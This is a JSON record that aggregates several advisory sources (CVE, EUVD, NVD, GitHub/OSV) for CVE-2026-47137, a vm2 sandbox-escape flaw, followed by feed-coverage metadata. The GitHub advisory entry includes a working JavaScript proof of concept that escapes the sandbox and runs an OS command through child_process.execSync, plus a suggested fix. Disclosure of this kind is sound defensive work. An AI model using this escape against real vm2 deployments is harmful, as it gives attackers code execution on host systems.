{"id":"CVE-2026-47137","revision":null,"records":[{"revision":"e5d5b36bb61c49b2aef8d16771813e44","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-47137","aliases":[],"title":"vm2: GHSA-8hg8-63c5-gwmx patch bypass: nesting:true without explicit require still allows full RCE","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely. When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent. This issue has been patched in version 3.11.4.","state":0,"publishedAt":"2026-06-12T14:15:34.795+00:00","modifiedAt":"2026-06-13T03:55:56.787+00:00","affected":[{"ecosystem":"Vendor product","name":"vm2","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"patriksimek\",\n                    \"product\": \"vm2\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.11.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-m4wx-m65x-ghrr","https://github.com/patriksimek/vm2/commit/01a7552add345d5a6862623884e6b79a85bf0568","https://github.com/patriksimek/vm2/commit/86ab819f202c3a8dad88cef5705f2e416c5188d7","https://github.com/advisories/GHSA-g644-9gfx-q4q4","https://github.com/patriksimek/vm2/releases/tag/v3.11.4"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-47137","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-47137","identifiers":["CVE-2026-47137"]},"retained":false,"historicalAffected":[]},{"revision":"38ae01620cd3447099291bcc9cfcf095","observedAt":"2026-11-07T10:39:48.664+00:00","statement":{"source":"euvd","id":"EUVD-2026-36443","aliases":["CVE-2026-47137","GHSA-m4wx-m65x-ghrr"],"title":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check …","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely. When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent. This issue has been patched in version 3.11.4.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"severity":null}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-m4wx-m65x-ghrr","https://github.com/patriksimek/vm2/commit/01a7552add345d5a6862623884e6b79a85bf0568","https://github.com/patriksimek/vm2/commit/86ab819f202c3a8dad88cef5705f2e416c5188d7","https://github.com/advisories/GHSA-g644-9gfx-q4q4","https://github.com/patriksimek/vm2/releases/tag/v3.11.4"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-36443","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 12, 2026, 2:15:34 PM","dateUpdated":"Jun 13, 2026, 3:55:56 AM"},"relatedAdvisories":[{"id":"RHSA-2026:36754","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.10.2 release.","vulnerabilityIds":["CVE-2026-6322","CVE-2026-6734","CVE-2026-9277","CVE-2026-9673","CVE-2026-9697","CVE-2026-12143","CVE-2026-12151","CVE-2026-24781","CVE-2026-27136","CVE-2026-39820","CVE-2026-42338","CVE-2026-42499","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-45736","CVE-2026-47131","CVE-2026-47135","CVE-2026-47137","CVE-2026-47139","CVE-2026-47140","CVE-2026-47141","CVE-2026-47208","CVE-2026-47210","CVE-2026-48779"]},{"id":"RHSA-2026:33574","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.9.6 release.","vulnerabilityIds":["CVE-2026-9277","CVE-2026-9673","CVE-2026-27145","CVE-2026-33811","CVE-2026-39820","CVE-2026-42033","CVE-2026-42035","CVE-2026-42039","CVE-2026-42041","CVE-2026-42043","CVE-2026-42044","CVE-2026-42338","CVE-2026-42499","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44724","CVE-2026-45736","CVE-2026-47131","CVE-2026-47135","CVE-2026-47137","CVE-2026-47139","CVE-2026-47140","CVE-2026-47141","CVE-2026-47208","CVE-2026-47209","CVE-2026-48779"]},{"id":"RHSA-2026:50850","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.1 security update","vulnerabilityIds":["CVE-2026-9277","CVE-2026-43997","CVE-2026-43998","CVE-2026-43999","CVE-2026-44000","CVE-2026-44001","CVE-2026-44002","CVE-2026-44003","CVE-2026-44004","CVE-2026-44005","CVE-2026-44006","CVE-2026-44007","CVE-2026-44008","CVE-2026-44009","CVE-2026-45411","CVE-2026-47131","CVE-2026-47135","CVE-2026-47137","CVE-2026-47139","CVE-2026-47140","CVE-2026-47141","CVE-2026-47209","CVE-2026-48068","CVE-2026-48801","CVE-2026-59877"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-36443","identifiers":["EUVD-2026-36443","CVE-2026-47137","GHSA-m4wx-m65x-ghrr"]},"retained":false,"historicalAffected":[]},{"revision":"2ed06841f59b406fab41c9fe3b395783","observedAt":"2026-10-27T13:11:40.402+00:00","statement":{"source":"nvd","id":"CVE-2026-47137","aliases":[],"title":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check …","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely. When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent. This issue has been patched in version 3.11.4.","state":0,"publishedAt":"2026-06-12T15:16:28.137+00:00","modifiedAt":"2026-10-26T11:10:00.157+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"severity":"CRITICAL"}],"references":["https://github.com/advisories/GHSA-g644-9gfx-q4q4","https://github.com/patriksimek/vm2/commit/01a7552add345d5a6862623884e6b79a85bf0568","https://github.com/patriksimek/vm2/commit/86ab819f202c3a8dad88cef5705f2e416c5188d7","https://github.com/patriksimek/vm2/releases/tag/v3.11.4","https://github.com/patriksimek/vm2/security/advisories/GHSA-m4wx-m65x-ghrr"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-47137","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-913"],"productCriteria":[],"sourceDates":{"published":"2026-06-12T15:16:28.137","lastModified":"2026-10-26T11:10:00.157"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-47137","identifiers":["CVE-2026-47137"]},"retained":false,"historicalAffected":[]},{"revision":"4734baba57e340c6ae08f38b8575fac0","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-m4wx-m65x-ghrr","aliases":["CVE-2026-47137"],"title":"vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE","description":"## Summary\n\nThe fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in `nodevm.js` line 263 that blocks the combination `nesting: true` + `require: false`. However, the check uses strict equality (`options.require === false`), which is trivially bypassed by omitting the `require` option entirely.\n\nWhen `require` is not specified, `options.require` is `undefined`, not `false`. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default `require: requireOpts = false` assigns `requireOpts = false`, producing the exact configuration the patch was designed to prevent.\n\n## Root Cause\n\n```javascript\n// nodevm.js:263 — the security check\nif (options.nesting === true && options.require === false) {\n    throw new VMError('...');\n}\n// nodevm.js:280 — the default assignment (AFTER the check)\nconst { require: requireOpts = false } = options;\n// When options.require is undefined:\n//   - Line 263: undefined === false → FALSE → check skipped\n//   - Line 280: requireOpts = false → same as require:false\n```\n\n## Impact\n\nFull Remote Code Execution on the host system. An attacker running code inside a `NodeVM({ nesting: true })` sandbox (without specifying `require`) can:\n\n1. `require('vm2')` to get the vm2 library\n2. Construct an inner `NodeVM` with `require: { builtin: ['child_process'] }`\n3. Execute arbitrary OS commands via `child_process.execSync`\n\nThe inner VM is completely unconstrained by the outer sandbox configuration.\n\n## Reproduction\n\n```javascript\nconst { NodeVM } = require('vm2');\n\n// nesting:true, require not specified (defaults to false AFTER the check)\nconst nvm = new NodeVM({ nesting: true });\n\nconst result = nvm.run(`\n  const { NodeVM } = require('vm2');\n  const inner = new NodeVM({\n    require: { builtin: ['child_process'] }\n  });\n  module.exports = inner.run(\n    \"module.exports = require('child_process').execSync('id').toString()\",\n    'exploit.js'\n  );\n`, 'exploit.js');\n\nconsole.log(result); // prints host uid/gid — full RCE\n```\n\n## Suggested Fix\n\n```javascript\n// Change the check to catch both false and undefined/omitted:\nif (options.nesting === true && !options.require) {\n    throw new VMError('...');\n}\n```\n\nOr move the check after the destructuring default assignment:\n\n```javascript\nconst { require: requireOpts = false } = options;\nif (options.nesting === true && !requireOpts) {\n    throw new VMError('...');\n}\n```","state":0,"publishedAt":"2026-05-29T17:50:22+00:00","modifiedAt":"2026-07-08T08:14:40.607171+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.11.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-m4wx-m65x-ghrr","https://nvd.nist.gov/vuln/detail/CVE-2026-47137","https://github.com/patriksimek/vm2/commit/01a7552add345d5a6862623884e6b79a85bf0568","https://github.com/patriksimek/vm2/commit/86ab819f202c3a8dad88cef5705f2e416c5188d7","https://github.com/patriksimek/vm2","https://github.com/patriksimek/vm2/releases/tag/v3.11.4"],"sourceUrl":"https://github.com/advisories/GHSA-m4wx-m65x-ghrr","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-m4wx-m65x-ghrr","identifiers":["GHSA-m4wx-m65x-ghrr","CVE-2026-47137"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T18:07:22.4901130+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T18:07:22.490113+00:00","lastSuccessAt":"2026-11-07T18:07:22.6844079+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:07:22.6844094+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-345caf33bb1f4776307263ad25eb81e7ed5e705a56a2cd4eb1cf23a9dfb83a94","complete":true,"records":420935,"lastAttemptAt":"2026-11-07T18:07:21.9958253+00:00","lastSuccessAt":"2026-11-07T18:07:21.9319209+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:07:21.9958253+00:00","snapshotPublishedAt":"2026-11-07T17:19:03+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. 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